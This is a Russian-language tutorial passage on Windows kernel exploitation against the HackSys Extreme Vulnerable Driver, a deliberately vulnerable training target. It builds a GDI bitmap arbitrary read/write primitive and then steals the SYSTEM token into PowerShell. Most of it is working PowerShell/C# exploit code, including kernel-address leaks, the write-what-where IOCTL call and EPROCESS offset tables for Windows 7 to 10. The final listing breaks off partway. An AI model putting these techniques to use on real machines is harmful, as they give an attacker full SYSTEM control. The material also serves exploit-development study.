Как мило! Для нашего примитива нулевого кольца защиты нам нужно программно собрать эту информацию для двух растровых изображений (manager и worker). Как мы могли видеть, это просто простая математика, основанная на дескрипторе растрового изображения. Вопрос только в том, как нам получить базовый адрес для процесса PEB. К счастью, на помощь приходит недокументированная функция NtQueryInformationProcess. При вызове с классом ProcessBasicInformation (0x0) функция возвращает структуру, которая содержит базовый адрес PEB. Я не буду вдаваться в подробности этого, так как это хорошо понятный метод. Надеюсь, приведенный ниже POC рассеет любые сомнения!

Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

[StructLayout(LayoutKind.Sequential)]
public struct _PROCESS_BASIC_INFORMATION
{
    public IntPtr ExitStatus;
    public IntPtr PebBaseAddress;
    public IntPtr AffinityMask;
    public IntPtr BasePriority;
    public UIntPtr UniqueProcessId;
    public IntPtr InheritedFromUniqueProcessId;
}

/// Partial _PEB
[StructLayout(LayoutKind.Explicit, Size = 256)]
public struct _PEB
{
    [FieldOffset(148)]
    public IntPtr GdiSharedHandleTable32;
    [FieldOffset(248)]
    public IntPtr GdiSharedHandleTable64;
}

[StructLayout(LayoutKind.Sequential)]
public struct _GDI_CELL
{
    public IntPtr pKernelAddress;
    public UInt16 wProcessId;
    public UInt16 wCount;
    public UInt16 wUpper;
    public UInt16 wType;
    public IntPtr pUserAddress;
}

public static class EVD
{
    [DllImport("ntdll.dll")]
    public static extern int NtQueryInformationProcess(
        IntPtr processHandle,
        int processInformationClass,
        ref _PROCESS_BASIC_INFORMATION processInformation,
        int processInformationLength,
        ref int returnLength);

    [DllImport("gdi32.dll")]
    public static extern IntPtr CreateBitmap(
        int nWidth,
        int nHeight,
        uint cPlanes,
        uint cBitsPerPel,
        IntPtr lpvBits);
}
"@

#==============================================[PEB]

# Flag architecture $x32Architecture/!$x32Architecture
if ([System.IntPtr]::Size -eq 4) {
    echo "`n[>] Target is 32-bit!"
    $x32Architecture = 1
} else {
    echo "`n[>] Target is 64-bit!"
}
# Current Proc handle
$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle
# Process Basic Information
$PROCESS_BASIC_INFORMATION = New-Object _PROCESS_BASIC_INFORMATION
$PROCESS_BASIC_INFORMATION_Size = [System.Runtime.InteropServices.Marshal]::SizeOf($PROCESS_BASIC_INFORMATION)
$returnLength = New-Object Int
$CallResult = [EVD]::NtQueryInformationProcess($ProcHandle, 0, [ref]$PROCESS_BASIC_INFORMATION, $PROCESS_BASIC_INFORMATION_Size, [ref]$returnLength)
# PID & PEB address
echo "`n[?] PID $($PROCESS_BASIC_INFORMATION.UniqueProcessId)"
if ($x32Architecture) {
    echo "[+] PebBaseAddress: 0x$("{0:X8}" -f $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt32())"
} else {
    echo "[+] PebBaseAddress: 0x$("{0:X16}" -f $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64())"
}
# Lazy PEB parsing
$_PEB = New-Object _PEB
$_PEB = $_PEB.GetType()
$BufferOffset = $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64()
$NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset
$PEBFlags = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr, [type]$_PEB)
# GdiSharedHandleTable
if ($x32Architecture) {
    echo "[+] GdiSharedHandleTable: 0x$("{0:X8}" -f $PEBFlags.GdiSharedHandleTable32.ToInt32())"
} else {
    echo "[+] GdiSharedHandleTable: 0x$("{0:X16}" -f $PEBFlags.GdiSharedHandleTable64.ToInt64())"
}
# _GDI_CELL size
$_GDI_CELL = New-Object _GDI_CELL
$_GDI_CELL_Size = [System.Runtime.InteropServices.Marshal]::SizeOf($_GDI_CELL)

#==============================================[/PEB]

#==============================================[Bitmap]

echo "`n[>] Creating Bitmaps.."

# Manager Bitmap
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x64*0x64*4)
$ManagerBitmap = [EVD]::CreateBitmap(0x64, 0x64, 1, 32, $Buffer)
echo "[+] Manager BitMap handle: 0x$("{0:X}" -f [int]$ManagerBitmap)"
if ($x32Architecture) {
    $HandleTableEntry = $PEBFlags.GdiSharedHandleTable32.ToInt32() + ($($ManagerBitmap -band 0xffff)*$_GDI_CELL_Size)
    echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt32]$HandleTableEntry)"
    $ManagerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)
    echo "[+] Bitmap Kernel address: 0x$("{0:X8}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)))"
} else {
    $HandleTableEntry = $PEBFlags.GdiSharedHandleTable64.ToInt64() + ($($ManagerBitmap -band 0xffff)*$_GDI_CELL_Size)
    echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt64]$HandleTableEntry)"
    $ManagerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)
    echo "[+] Bitmap Kernel address: 0x$("{0:X16}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)))"
}

# Worker Bitmap
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x64*0x64*4)
$WorkerBitmap = [EVD]::CreateBitmap(0x64, 0x64, 1, 32, $Buffer)
echo "[+] Worker BitMap handle: 0x$("{0:X}" -f [int]$WorkerBitmap)"
if ($x32Architecture) {
    $HandleTableEntry = $PEBFlags.GdiSharedHandleTable32.ToInt32() + ($($WorkerBitmap -band 0xffff)*$_GDI_CELL_Size)
    echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt32]$HandleTableEntry)"
    $WorkerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)
    echo "[+] Bitmap Kernel address: 0x$("{0:X8}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)))"
} else {
    $HandleTableEntry = $PEBFlags.GdiSharedHandleTable64.ToInt64() + ($($WorkerBitmap -band 0xffff)*$_GDI_CELL_Size)
    echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt64]$HandleTableEntry)"
    $WorkerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)
    echo "[+] Bitmap Kernel address: 0x$("{0:X16}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)))"
}

#==============================================[/Bitmap]

7.png


Обратите внимание, что наш скрипт не зависит от архитектуры! Одна часть головоломки решена, но почему мы заботимся об этих растровых объектах?

_BASEOBJECT ->_SURFOBJ ->pvScan0

Указанный выше растровый адрес ядра указывает на следующую структуру базового объекта GDI в пространстве ядра.

Код:
/// 32bit size: 0x10
/// 64bit size: 0x18
[StructLayout(LayoutKind.Sequential)]
public struct _BASEOBJECT
{
    public IntPtr hHmgr;
    public UInt32 ulShareCount;
    public UInt16 cExclusiveLock;
    public UInt16 BaseFlags;
    public UIntPtr Tid;
}

Мы не очень заинтересованы в этой информации, если вы хотите просмотреть структуру базовых объектов более подробно, пожалуйста, обратитесь к вики ReactOS (https://www.reactos.org/wiki/Techwiki:Win32k/BASEOBJECT) .Сразу после этого заголовка есть определенная структура, которая варьируется в зависимости от типа объекта. Для растровых изображений, это структура поверхности объекта, которую можно увидеть ниже (https://msdn.microsoft.com/en-us/library/ff569901.aspx)

Код:
/// 32bit size: 0x34
/// 64bit size: 0x50
[StructLayout(LayoutKind.Sequential)]
public struct _SURFOBJ
{
    public IntPtr dhsurf;
    public IntPtr hsurf;
    public IntPtr dhpdev;
    public IntPtr hdev;
    public IntPtr sizlBitmap;
    public UIntPtr cjBits;
    public IntPtr pvBits;
    public IntPtr pvScan0; /// offset => 32bit = 0x20 & 64bit = 0x38
    public UInt32 lDelta;
    public UInt32 iUniq;
    public UInt32 iBitmapFormat;
    public UInt16 iType;
    public UInt16 fjBitmap;
}

Элемент pvScan0 - это то, что мы хотим! Этот элемент является указателем на первую строку сканирования растрового изображения. Из нашего адреса утечки ядра мы можем использовать следующее для вычисления смещения к этому элементу.

# 32 bit
[IntPtr]pvScan0_32 = $pKernelAddress + 0x30
# 64 bit
[IntPtr]pvScan0_64 = $pKernelAddress + 0x50

Есть два вызова API GDI32, функция GetBitmapBits и функция SetBitmapBits, которые напрямую воздействуют на значение этого элемента. Функция GetBitmapBits позволяет нам читать произвольное количество байтов по адресу pvScan0, в то время как функция SetBitmapBits позволяет нам записывать произвольное количество байтов по адресу pvScan0. Ты еще не чувствуешь запах PWN?

Мы можем кратко обновить наш POC, чтобы включить смещения pvScan0 для растровых manager и worker .

Код:
# 32 bit
# IntPtr at $HandleTableEntry = pKernelAddress
$BitmapScan0_32 = $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)) + 0x30

# 64 bit
# IntPtr at $HandleTableEntry = pKernelAddress
$BitmapScan0_64 = $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)) + 0x50

Примитив GDI нулевого кольца защиты

С этого момента довольно легко заставить работать наш примитив нулевого кольца защиты. По сути, используя нашу произвольную запись, мы хотим установить адрес pvScan0 для растрового изображения "manager" так, чтобы он указывал на адрес pvScan0 растрового изображения "worker". Объединяя все, что мы сделали до сих пор, мы придумали следующий POC.

Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

[StructLayout(LayoutKind.Sequential)]
public struct _PROCESS_BASIC_INFORMATION
{
    public IntPtr ExitStatus;
    public IntPtr PebBaseAddress;
    public IntPtr AffinityMask;
    public IntPtr BasePriority;
    public UIntPtr UniqueProcessId;
    public IntPtr InheritedFromUniqueProcessId;
}

/// Partial _PEB
[StructLayout(LayoutKind.Explicit, Size = 256)]
public struct _PEB
{
    [FieldOffset(148)]
    public IntPtr GdiSharedHandleTable32;
    [FieldOffset(248)]
    public IntPtr GdiSharedHandleTable64;
}

[StructLayout(LayoutKind.Sequential)]
public struct _GDI_CELL
{
    public IntPtr pKernelAddress;
    public UInt16 wProcessId;
    public UInt16 wCount;
    public UInt16 wUpper;
    public UInt16 wType;
    public IntPtr pUserAddress;
}

public static class EVD
{
    [DllImport("ntdll.dll")]
    public static extern int NtQueryInformationProcess(
        IntPtr processHandle,
        int processInformationClass,
        ref _PROCESS_BASIC_INFORMATION processInformation,
        int processInformationLength,
        ref int returnLength);

    [DllImport("gdi32.dll")]
    public static extern IntPtr CreateBitmap(
        int nWidth,
        int nHeight,
        uint cPlanes,
        uint cBitsPerPel,
        IntPtr lpvBits);

    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);

    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
}
"@

#==============================================[PEB]

# Flag architecture $x32Architecture/!$x32Architecture
if ([System.IntPtr]::Size -eq 4) {
    echo "`n[>] Target is 32-bit!"
    $x32Architecture = 1
} else {
    echo "`n[>] Target is 64-bit!"
}
# Current Proc handle
$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle
# Process Basic Information
$PROCESS_BASIC_INFORMATION = New-Object _PROCESS_BASIC_INFORMATION
$PROCESS_BASIC_INFORMATION_Size = [System.Runtime.InteropServices.Marshal]::SizeOf($PROCESS_BASIC_INFORMATION)
$returnLength = New-Object Int
$CallResult = [EVD]::NtQueryInformationProcess($ProcHandle, 0, [ref]$PROCESS_BASIC_INFORMATION, $PROCESS_BASIC_INFORMATION_Size, [ref]$returnLength)
# PID & PEB address
echo "`n[?] PID $($PROCESS_BASIC_INFORMATION.UniqueProcessId)"
if ($x32Architecture) {
    echo "[+] PebBaseAddress: 0x$("{0:X8}" -f $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt32())"
} else {
    echo "[+] PebBaseAddress: 0x$("{0:X16}" -f $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64())"
}
# Lazy PEB parsing
$_PEB = New-Object _PEB
$_PEB = $_PEB.GetType()
$BufferOffset = $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64()
$NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset
$PEBFlags = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr, [type]$_PEB)
# GdiSharedHandleTable
if ($x32Architecture) {
    echo "[+] GdiSharedHandleTable: 0x$("{0:X8}" -f $PEBFlags.GdiSharedHandleTable32.ToInt32())"
} else {
    echo "[+] GdiSharedHandleTable: 0x$("{0:X16}" -f $PEBFlags.GdiSharedHandleTable64.ToInt64())"
}
# _GDI_CELL size
$_GDI_CELL = New-Object _GDI_CELL
$_GDI_CELL_Size = [System.Runtime.InteropServices.Marshal]::SizeOf($_GDI_CELL)

#==============================================[/PEB]

#==============================================[Bitmap]

echo "`n[>] Creating Bitmaps.."

# Manager Bitmap
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x64*0x64*4)
$ManagerBitmap = [EVD]::CreateBitmap(0x64, 0x64, 1, 32, $Buffer)
echo "[+] Manager BitMap handle: 0x$("{0:X}" -f [int]$ManagerBitmap)"
if ($x32Architecture) {
    $HandleTableEntry = $PEBFlags.GdiSharedHandleTable32.ToInt32() + ($($ManagerBitmap -band 0xffff)*$_GDI_CELL_Size)
    echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt32]$HandleTableEntry)"
    $ManagerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)
    echo "[+] Bitmap Kernel address: 0x$("{0:X8}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)))"
    $ManagerpvScan0 = $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)) + 0x30
    echo "[+] Manager pvScan0 pointer: 0x$("{0:X8}" -f $($([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)) + 0x30))"
} else {
    $HandleTableEntry = $PEBFlags.GdiSharedHandleTable64.ToInt64() + ($($ManagerBitmap -band 0xffff)*$_GDI_CELL_Size)
    echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt64]$HandleTableEntry)"
    $ManagerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)
    echo "[+] Bitmap Kernel address: 0x$("{0:X16}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)))"
    $ManagerpvScan0 = $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)) + 0x50
    echo "[+] Manager pvScan0 pointer: 0x$("{0:X16}" -f $($([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)) + 0x50))"
}

# Worker Bitmap
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x64*0x64*4)
$WorkerBitmap = [EVD]::CreateBitmap(0x64, 0x64, 1, 32, $Buffer)
echo "[+] Worker BitMap handle: 0x$("{0:X}" -f [int]$WorkerBitmap)"
if ($x32Architecture) {
    $HandleTableEntry = $PEBFlags.GdiSharedHandleTable32.ToInt32() + ($($WorkerBitmap -band 0xffff)*$_GDI_CELL_Size)
    echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt32]$HandleTableEntry)"
    $WorkerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)
    echo "[+] Bitmap Kernel address: 0x$("{0:X8}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)))"
    $WorkerpvScan0 = $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)) + 0x30
    echo "[+] Worker pvScan0 pointer: 0x$("{0:X8}" -f $($([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)) + 0x30))"
} else {
    $HandleTableEntry = $PEBFlags.GdiSharedHandleTable64.ToInt64() + ($($WorkerBitmap -band 0xffff)*$_GDI_CELL_Size)
    echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt64]$HandleTableEntry)"
    $WorkerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)
    echo "[+] Bitmap Kernel address: 0x$("{0:X16}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)))"
    $WorkerpvScan0 = $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)) + 0x50
    echo "[+] Worker pvScan0 pointer: 0x$("{0:X16}" -f $($([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)) + 0x50))"
}

#==============================================[/Bitmap]

#==============================================[GDI ring0 primitive]

$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)

if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}

# [IntPtr]$WriteWhatPtr->$WriteWhat + $WriteWhere
#---
[IntPtr]$WriteWhatPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.BitConverter]::GetBytes($WorkerpvScan0).Length)
[System.Runtime.InteropServices.Marshal]::Copy([System.BitConverter]::GetBytes($WorkerpvScan0), 0, $WriteWhatPtr, [System.BitConverter]::GetBytes($WorkerpvScan0).Length)
if ($x32Architecture) {
    [byte[]]$Buffer = [System.BitConverter]::GetBytes($WriteWhatPtr.ToInt32()) + [System.BitConverter]::GetBytes($ManagerpvScan0)
} else {
    [byte[]]$Buffer = [System.BitConverter]::GetBytes($WriteWhatPtr.ToInt64()) + [System.BitConverter]::GetBytes($ManagerpvScan0)
}
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x22200B"
[EVD]::DeviceIoControl($hDevice, 0x22200B, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

#==============================================[/GDI ring0 primitive]

Давайте запустим наш новый POC и проверим записи pvScan 0 в отладчике KD.

8.png


9.png


Как видно из рисунка выше, мы правильно обновили указатель manager, получив в ядре многократное чтение/запись. Процесс чтения и записи данных с использованием этих растровых изображений можно увидеть ниже.

# Arbitrary kernel read
(1) GDI32::SetBitmapBits(Address) -> Manager # This updates the workers pvScan0 pointer
(2) GDI32::GetBitmapBits(Byte Count) -> Worker # Reads X bytes from Address

# Arbitrary kernel write
(1) GDI32::SetBitmapBits(Address) -> Manager # This updates the workers pvScan0 pointer
(2) GDI32::SetBitmapBits(Value) -> Worker # Writes X bytes to Address

Потратьте некоторое время, чтобы переварить это. Вообще, это сначала немного сбивает с толку. Для удобства я создал следующие вспомогательные функции для прозрачного чтения/записи размера IntPtr.

Код:
# Arbitrary Kernel read
function Bitmap-Read {
    param ($Address)
    $CallResult = [EVD]::SetBitmapBits($ManagerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address))
    [IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, [System.IntPtr]::Size, 0x3000, 0x40)
    $CallResult = [EVD]::GetBitmapBits($WorkerBitmap, [System.IntPtr]::Size, $Pointer)
    if ($x32Architecture){
        [System.Runtime.InteropServices.Marshal]::ReadInt32($Pointer)
    } else {
        [System.Runtime.InteropServices.Marshal]::ReadInt64($Pointer)
    }
    $CallResult = [EVD]::VirtualFree($Pointer, [System.IntPtr]::Size, 0x8000)
}

# Arbitrary Kernel write
function Bitmap-Write {
    param ($Address, $Value)
    $CallResult = [EVD]::SetBitmapBits($ManagerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address))
    $CallResult = [EVD]::SetBitmapBits($WorkerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Value))

Дублирование токена SYSTEM

С произвольным чтением/записью в пространстве ядра нам все еще нужно выяснить, как получить привилегии SYSTEM. Имейте в виду, что мы находимся на 64-битной Windows 10 с улучшенной защитой, такой как SMEP (не позволяющих нам запускать шеллкод из пользовательского пространства). Поскольку мы уже можем свободно копировать данные, представляется целесообразным попытаться провести атаку данных на исполнительный блок процесса (EPROCESS). Структура EPROCESS содержит токен процесса. Этот токен описывает контекст безопасности процесса и включает в себя идентификационные данные и привилегии учетной записи, связанной с процессом. ОС запрашивает этот токен, когда процесс или поток пытается взаимодействовать с защищаемым объектом или пытается выполнить действие, которое требует определенных привилегий.

Для наших целей токен процесса - это просто значение размера IntPtr в структуре EPROCESS. Проще говоря, если мы сможем найти процесс SYSTEM, скопировать его токен и перезаписать токен PowerShell, мы эффективно повысим наши привилегии до SYSTEM.

Первый шаг - получить указатель на структуру SYSTEM EPROCESS. Фактически, чтобы избежать BSOD, мы можем только безопасно выбрать PID 4. Существует очень удобная глобальная переменная PsInitialSystemProcess (https://msdn.microsoft.com/en-us/library/windows/hardware/ff559943(v=vs.85).aspx), которая является указателем на систему EPROCESS (-> PID 4). Мы можем получить базовый адрес ядра NT, используя API-интерфейс NtQuerySystemInformation. Я написал скрипт Get-LoadedModules (https://github.com/FuzzySecurity/PSKernel-Primitives/blob/master/Get-LoadedModules.ps1), чтобы позаботиться об этом для нас. Чтобы получить адрес глобальной переменной PsInitialSystemProcess, мы можем выполнить следующие вычисления.

Код:
echo "[>] Leaking SYSTEM _EPROCESS.."
$SystemModuleArray = Get-LoadedModules
$KernelBase = $SystemModuleArray[0].ImageBase
$KernelType = ($SystemModuleArray[0].ImageName -split "\\")[-1]
$KernelHanle = [EVD]::LoadLibrary("$KernelType")
$PsInitialSystemProcess = [EVD]::GetProcAddress($KernelHanle, "PsInitialSystemProcess")
$SystemEprocess = if (!$x32Architecture) {$PsInitialSystemProcess.ToInt64() - $KernelHanle + $KernelBase} else {$PsInitialSystemProcess.ToInt32() - $KernelHanle + $KernelBase}
$CallResult = [EVD]::FreeLibrary($KernelHanle)
echo "[+] _EPORCESS list entry: 0x$("{0:X}" -f $SystemEprocess)"

10.png


Этот адрес должен содержать указатель на системную структуру EPROCESS. Давайте проверим это вручную.

11.png


Если мы добавим эту логику в наш эксплоит, мы можем использовать нашу функцию Bitmap-Read, чтобы скопировать системный токен. Есть еще одна вещь, о которой нужно позаботиться. Структура EPROCESS недокументирована и изменяется довольно часто, поэтому мы захотим создать оператор switch, содержащую различные смещения, которые нам нужны для всех операционных систем (32/64 бит). Я настоятельно рекомендую вам взглянуть на самый замечательный проект Terminus (http://terminus.rewolf.pl/terminus/) от @rwfpl. Он спас мой бекон не раз. Оператор switch можно увидеть ниже. Обратите внимание, что он включает в себя смещение для ActiveProcessLinks. Мы подойдем к этому уже через минуту.

Код:
# _EPROCESS UniqueProcessId/Token/ActiveProcessLinks offsets based on OS
# WARNING offsets are invalid for Pre-RTM images!
$OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
$OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
switch ($OSMajorMinor)
{
    '10.0' # Win10 / 2k16
    {
        if(!$x32Architecture){
            $UniqueProcessIdOffset = 0x2e8
            $TokenOffset = 0x358    
            $ActiveProcessLinks = 0x2f0
        } else {
            $UniqueProcessIdOffset = 0xb4
            $TokenOffset = 0xf4    
            $ActiveProcessLinks = 0xb8
        }
    }

    '6.3' # Win8.1 / 2k12R2
    {
        if(!$x32Architecture){
            $UniqueProcessIdOffset = 0x2e0
            $TokenOffset = 0x348    
            $ActiveProcessLinks = 0x2e8
        } else {
            $UniqueProcessIdOffset = 0xb4
            $TokenOffset = 0xec    
            $ActiveProcessLinks = 0xb8
        }
    }

    '6.2' # Win8 / 2k12
    {
        if(!$x32Architecture){
            $UniqueProcessIdOffset = 0x2e0
            $TokenOffset = 0x348    
            $ActiveProcessLinks = 0x2e8
        } else {
            $UniqueProcessIdOffset = 0xb4
            $TokenOffset = 0xec    
            $ActiveProcessLinks = 0xb8
        }
    }

    '6.1' # Win7 / 2k8R2
    {
        if(!$x32Architecture){
            $UniqueProcessIdOffset = 0x180
            $TokenOffset = 0x208    
            $ActiveProcessLinks = 0x188
        } else {
            $UniqueProcessIdOffset = 0xb4
            $TokenOffset = 0xf8    
            $ActiveProcessLinks = 0xb8
        }
    }
}

С правильными смещениями мы можем добавить следующее к нашему эксплоиту.

Код:
# Get EPROCESS entry for System process
echo "`n[>] Leaking SYSTEM _EPROCESS.."
$KernelBase = $SystemModuleArray[0].ImageBase
$KernelType = ($SystemModuleArray[0].ImageName -split "\\")[-1]
$KernelHanle = [EVD]::LoadLibrary("$KernelType")
$PsInitialSystemProcess = [EVD]::GetProcAddress($KernelHanle, "PsInitialSystemProcess")
$SysEprocessPtr = if (!$x32Architecture) {$PsInitialSystemProcess.ToInt64() - $KernelHanle + $KernelBase} else {$PsInitialSystemProcess.ToInt32() - $KernelHanle + $KernelBase}
$CallResult = [EVD]::FreeLibrary($KernelHanle)
echo "[+] _EPORCESS list entry: 0x$("{0:X}" -f $SysEprocessPtr)"
$SysEPROCESS = Bitmap-Read -Address $SysEprocessPtr
echo "[+] SYSTEM _EPORCESS address: 0x$("{0:X}" -f $(Bitmap-Read -Address $SysEprocessPtr))"
echo "[+] PID: $(Bitmap-Read -Address $($SysEPROCESS+$UniqueProcessIdOffset))"
echo "[+] SYSTEM Token: 0x$("{0:X}" -f $(Bitmap-Read -Address $($SysEPROCESS+$TokenOffset)))"
$SysToken = Bitmap-Read -Address $($SysEPROCESS+$TokenOffset)

12.png


Обратите внимание, что токен уменьшился на 1, потому что элемент токена является _EX_FAST_REF, а последний бит используется в качестве счетчика ссылок. Нам не нужно беспокоиться об этом поведении. Все, что остается сделать это найти структуру EPROCESS PowerShell и перезаписать ее токен тем, который только что утек. Это то место где элемент ActiveProcessLinks вступает в игру. Структура EPROCESS является частью связанного списка, в котором элемент ActiveProcessLinks содержит _LIST_ENTRY ([IntPtr] Flink, [IntPtr] Blink]), показывающий следующий и предыдущий адреса структуры EPROCESS. Все, что нам нужно сделать, это просмотреть этот список, пока мы не найдем структуру EPROCESS, которая соответствует нашему процессу PowerShell, а затем перезаписать токен. Код для этого можно увидеть ниже.

Код:
# Get EPROCESS entry for current process
echo "`n[>] Leaking current _EPROCESS.."
echo "[+] Traversing ActiveProcessLinks list"
$NextProcess = $(Bitmap-Read -Address $($SysEPROCESS+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size
while($true) {
    $NextPID = Bitmap-Read -Address $($NextProcess+$UniqueProcessIdOffset)
    if ($NextPID -eq $PID) {
        echo "[+] PowerShell _EPORCESS address: 0x$("{0:X}" -f $NextProcess)"
        echo "[+] PID: $NextPID"
        echo "[+] PowerShell Token: 0x$("{0:X}" -f $(Bitmap-Read -Address $($NextProcess+$TokenOffset)))"
        $PoShTokenAddr = $NextProcess+$TokenOffset
        break
    }
    $NextProcess = $(Bitmap-Read -Address $($NextProcess+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size
}

# Duplicate token!
echo "`n[!] Duplicating SYSTEM token!`n"
Bitmap-Write -Address $PoShTokenAddr -Value $SysToken

Конец игры

Вот и все, что нужно. Эксплойт ниже должен работать на Windows 7-10 и поддерживает 32- и 64-битные архитектуры. Оставьте комментарий, если есть какие-либо нерешенные вопросы!

Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct SYSTEM_MODULE_INFORMATION
{
    [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)]
    public UIntPtr[] Reserved;
    public IntPtr ImageBase;
    public UInt32 ImageSize;
    public UInt32 Flags;
    public UInt16 LoadOrderIndex;
    public UInt16 InitOrderIndex;
    public UInt16 LoadCount;
    public UInt16 ModuleNameOffset;
    [MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)]
    internal Char[] _ImageName;
    public String ImageName {
        get {
            return new String(_ImageName).Split(new Char[] {'\0'}, 2)[0];
        }
    }
}

[StructLayout(LayoutKind.Sequential)]
public struct _PROCESS_BASIC_INFORMATION
{
    public IntPtr ExitStatus;
    public IntPtr PebBaseAddress;
    public IntPtr AffinityMask;
    public IntPtr BasePriority;
    public UIntPtr UniqueProcessId;
    public IntPtr InheritedFromUniqueProcessId;
}

/// Partial _PEB
[StructLayout(LayoutKind.Explicit, Size = 256)]
public struct _PEB
{
    [FieldOffset(148)]
    public IntPtr GdiSharedHandleTable32;
    [FieldOffset(248)]
    public IntPtr GdiSharedHandleTable64;
}

[StructLayout(LayoutKind.Sequential)]
public struct _GDI_CELL
{
    public IntPtr pKernelAddress;
    public UInt16 wProcessId;
    public UInt16 wCount;
    public UInt16 wUpper;
    public UInt16 wType;
    public IntPtr pUserAddress;
}

public static class EVD
{

    [DllImport("ntdll.dll")]
    public static extern int NtQueryInformationProcess(
        IntPtr processHandle,
        int processInformationClass,
        ref _PROCESS_BASIC_INFORMATION processInformation,
        int processInformationLength,
        ref int returnLength);

    [DllImport("ntdll.dll")]
    public static extern int NtQuerySystemInformation(
        int SystemInformationClass,
        IntPtr SystemInformation,
        int SystemInformationLength,
        ref int ReturnLength);

